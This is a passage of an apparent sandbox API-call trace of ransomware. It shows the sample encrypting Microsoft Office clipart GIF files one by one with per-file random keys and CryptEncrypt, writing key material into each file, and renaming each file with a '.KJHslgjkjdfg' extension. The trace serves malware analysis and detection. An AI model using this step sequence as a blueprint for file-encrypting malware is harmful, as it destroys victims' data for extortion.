hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0192.767] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.767] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.767] GetProcessHeap () returned 0x2a0000 [0192.767] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.767] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.767] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.767] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.768] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.768] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.768] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.768] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.768] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.768] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.768] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ce, lpOverlapped=0x0) returned 1 [0192.768] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d0) returned 1 [0192.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.769] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d0, lpOverlapped=0x0) returned 1 [0192.769] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.769] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.769] SetEndOfFile (hFile=0x114) returned 1 [0192.771] GetProcessHeap () returned 0x2a0000 [0192.771] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.771] GetProcessHeap () returned 0x2a0000 [0192.772] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.kjhslgjkjdfg")) returned 1 [0192.775] CloseHandle (hObject=0x114) returned 1 [0192.775] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d7f5e00, ftCreationTime.dwHighDateTime=0x1bd4e68, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d7f5e00, ftLastWriteTime.dwHighDateTime=0x1bd4e68, nFileSizeHigh=0x0, nFileSizeLow=0xff7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01253_.GIF", cAlternateFileName="")) returned 1 [0192.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.776] GetProcessHeap () returned 0x2a0000 [0192.776] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.776] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.776] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0192.779] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.779] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.779] GetProcessHeap () returned 0x2a0000 [0192.779] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.779] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.779] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.779] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.779] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.779] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.779] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.779] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.780] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.780] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.780] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xff7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xff7, lpOverlapped=0x0) returned 1 [0192.780] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1000, dwBufLen=0x1000 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1000) returned 1 [0192.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.780] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1000, lpOverlapped=0x0) returned 1 [0192.780] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.780] SetEndOfFile (hFile=0x114) returned 1 [0192.783] GetProcessHeap () returned 0x2a0000 [0192.783] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.783] GetProcessHeap () returned 0x2a0000 [0192.783] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.kjhslgjkjdfg")) returned 1 [0192.796] CloseHandle (hObject=0x114) returned 1 [0192.796] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550b600, ftCreationTime.dwHighDateTime=0x1bd4e65, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9550b600, ftLastWriteTime.dwHighDateTime=0x1bd4e65, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01268_.GIF", cAlternateFileName="")) returned 1 [0192.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.798] GetProcessHeap () returned 0x2a0000 [0192.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.798] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.798] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0192.800] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.800] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.800] GetProcessHeap () returned 0x2a0000 [0192.800] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.800] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.800] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.800] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.800] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.801] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.801] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.801] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.801] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.801] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.801] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ab, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ab, lpOverlapped=0x0) returned 1 [0192.801] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b0) returned 1 [0192.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.801] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b0, lpOverlapped=0x0) returned 1 [0192.801] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.801] SetEndOfFile (hFile=0x114) returned 1 [0192.804] GetProcessHeap () returned 0x2a0000 [0192.804] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.804] GetProcessHeap () returned 0x2a0000 [0192.804] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.kjhslgjkjdfg")) returned 1 [0192.807] CloseHandle (hObject=0x114) returned 1 [0192.807] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc336fa00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc336fa00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01292_.GIF", cAlternateFileName="")) returned 1 [0192.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.808] GetProcessHeap () returned 0x2a0000 [0192.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.809] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.809] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0192.810] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.810] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.810] GetProcessHeap () returned 0x2a0000 [0192.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.811] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.811] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.811] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.811] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.811] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.811] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.811] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.811] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.811] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.811] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.811] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.811] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x255, lpOverlapped=0x0) returned 1 [0192.812] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x260, dwBufLen=0x260 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x260) returned 1 [0192.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.812] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x260, lpOverlapped=0x0) returned 1 [0192.812] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.812] SetEndOfFile (hFile=0x114) returned 1 [0192.815] GetProcessHeap () returned 0x2a0000 [0192.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.815] GetProcessHeap () returned 0x2a0000 [0192.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.kjhslgjkjdfg")) returned 1 [0192.817] CloseHandle (hObject=0x114) returned 1 [0192.817] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0fec00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc0fec00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01293_.GIF", cAlternateFileName="")) returned 1 [0192.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.819] GetProcessHeap () returned 0x2a0000 [0192.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.819] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.819] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0192.821] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.821] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.821] GetProcessHeap () returned 0x2a0000 [0192.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.821] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.821] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.821] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.821] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 